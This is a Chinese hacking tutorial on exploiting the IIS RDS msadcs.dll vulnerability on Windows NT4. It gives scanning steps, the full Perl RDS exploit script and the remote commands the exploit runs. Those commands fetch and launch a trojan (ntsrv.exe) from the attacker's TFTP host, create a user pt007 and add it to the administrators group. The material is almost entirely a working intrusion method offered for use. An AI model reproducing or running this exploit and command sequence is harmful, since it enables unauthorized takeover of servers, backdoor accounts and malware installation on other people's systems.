NT4.0下的msadcs.dll漏洞的利用

/ns/hk/hacker/data/20010407062021.htm

一、用twwwscan 目标IP 80
发现有:
RDS Securty Hole(msadcs.dll)
/msadc/msadcs.dll
important patch
CVE-1999-1011
solution:MS99-025.asp
二、目标开了WEB服务,IIS有漏洞msadcs.dll漏洞,这个漏洞可以用TWWWSCAN扫描
到,为了确认这个漏洞,你可以在浏览器的网址栏里输入这个文件的具体路径来确认
IE将显示application/x_varg,说明这个漏洞存在,然后在PERL下,进行攻击
1、C:\Perl\BIN>perl -x msadcs.txt -h 目标机xxx.xxx.xxx.xxx
Please type the NT commandline you want to run (cmd /c assumed):\n
cmd /c 一般这里我用TFTP上传我的木马文件,但首先你得先设置好你的TFTP主机
tftp -i 127.0.0.1 get ntsrv.exe c:\winnt\system32\ntsrv.exe
这里127.0.0.1 是我的TFTP主机,TFTP目录下有NTSRV。EXE木马
如果程序执行成功,TFTP会显示文件传输的进度,然后再执行PERL,将木马激活
,你再用木马连上对方的机器,搞定
2、C:\Perl\BIN>perl -x msadcs.txt -h 目标机
cmd /c net user pt007 /add
3、C:\Perl\BIN>perl -x msadcs.txt -h 目标机
cmd /c net user pt007 ptlove
4、C:\Perl\BIN>perl -x msadcs.txt -h 目标机
cmd /c net localgroup administrators pt007 /add
5、C:\Perl\BIN>perl -x msadcs.txt -h 目标机
cmd /c c:\winnt\system32>ncx99.exe
(加用户pt007和运行木马)
三、msadcs.txt文件。
#将下面这段保存为txt文件,然后: "perl -x 文件名"
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!

use Socket; use Getopt::Std;
getopts("e:vd:h:XR", \%args);

print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

if (!defined $args{h}&& !defined $args{R}){
print qq~
Usage: msadc.pl -h <host>{ -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-v = verbose
-e = external dictionary file for step 5

Or a -R will resume a command session

~; exit;}

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}){ $verbose=1; }else{$verbose=0;}
if (defined $args{d}){ $delay=$args{d};}else{$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (defined $args{X}&& !defined $args{R}){ &hork_idx; exit; }

if (!defined $args{R}){ $ret = &has_msadc;
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}

print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=<STDIN>; chomp $in;
$command="cmd /c " . $in ;

if (defined $args{R}){&load; exit;}

print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;

print "\nStep 2: Trying to make our own DSN...";
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";

print "\nStep 3: Trying known DSNs...";
&known_dsn;

print "\nStep 4: Trying known .mdbs...";
&known_mdb;

if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; }else{ "\nNo -e; Step 5 skipped.\n\n"; }

print "Sorry Charley...maybe next time?\n";
exit;

##############################################################################

sub sendraw{ # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
}else{ die("Can't connect...\n"); }}

##############################################################################

sub make_header{ # make the HTTP request
my $msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
; $msadc=~s/\n/\r\n/g;
return $msadc;}

##############################################################################

sub make_req{ # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
$req = "\x02\x00\x03\x00";
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}

##############################################################################

sub make_shell{ # this makes the shell() statement
return "'|shell(\"$command\")|'";}

##############################################################################

sub make_unicode{ # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++){ $out.=substr($in,$c,1) . "\x00"; }
return $out;}

##############################################################################

sub rdo_success{ # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}

##############################################################################

sub make_dsn{ # this makes a DSN for us
my @drives=("c","d","e","f");
print "\nMaking DSN: ";
foreach $drive (@drives){
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200"){
foreach $line (@results){
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
}return 0;}

##############################################################################

sub verify_exists{
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}

##############################################################################

sub try_btcustmr{
my @drives=("c","d","e","f");
my @dirs=("winnt","winnt35","winnt351","win","windows");

foreach $dir (@dirs){
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives){
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;

my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
else{ verbose(odbc_error(@results)); funky(@results);}}print "\n";}}

##############################################################################

sub odbc_error{
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}

##############################################################################

sub verbose{
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}

##############################################################################

sub save{
my ($p1, $p2, $p3, $p4)=@_;
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
close OUT;}

##############################################################################

sub load{
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
if($p[1]==1){
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
if (rdo_success(@results)){print "Success!\n";}
else{ print "failed\n"; verbose(odbc_error(@results));}}
elsif ($p[1]==3){
if(run_query("$p[3]")){
print "Success!\n";}else{ print "failed\n"; }}
elsif ($p[1]==4){
if(run_query($drvst . "$p[3]")){
print "Success!\n"; }else{ print "failed\n"; }}
exit;}

##############################################################################

sub create_table{
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}

##############################################################################

sub known_dsn{
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");

foreach $dSn (@dsns){
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n";
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }else{
print "Something's borked. Use verbose next time\n";}}}print "\n";}

##############################################################################

sub is_access{
my ($in)=@_;
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}

##############################################################################

sub run_query{
my ($in)=@_;
$reqlen=length( make_req(3,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(3,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}

##############################################################################

sub known_mdb{
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";

# this is sparse, because I don't know of many
my @sysmdbs=( "\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%

my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just
foreach $drive (@drives){
foreach $dir (@dirs){
foreach $mdb (@sysmdbs){
print ".";
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}else{ print "Something's borked. Use verbose next time\n"; }}}}}

foreach $drive (@drives){
foreach $mdb (@mdbs){
print ".";
if(create_table($drv . $drive . $dir . $mdb)){
print "\n" . $drive . $dir . $mdb . " successful\n";
if(run_query($drv . $drive . $dir . $mdb)){
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}else{ print "Something's borked. Use verbose next time\n"; }}}}
}

##############################################################################

sub hork_idx{
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw2(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
}else{print "Index server doesn't seem to be installed.\n"; }}

##############################################################################

sub dsn_dict{
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN> ){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
print "$dSn successful\n";
if(run_query("DSN=$dSn")){
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; }else{
print "Something's borked. Use verbose next time\n";}}}
print "\n"; close(IN);}

##############################################################################

sub sendraw2{ # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
print "Connected. Getting data";
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while(<S> ){ print OUT $_; push @in, $_; print STDOUT ".";}
close(OUT); select(STDOUT); close(S); return @in;
}else{ die("Can't connect...\n"); }}

##############################################################################

sub content_start{ # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++){
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/){ $c++; }
else{ return $c+1; }}}
return -1;}# it should never get here actually

##############################################################################

sub funky{
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}}

##############################################################################

sub has_msadc{
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
return 0;}

########################
四、在http://www.perlcn.com/about/下perl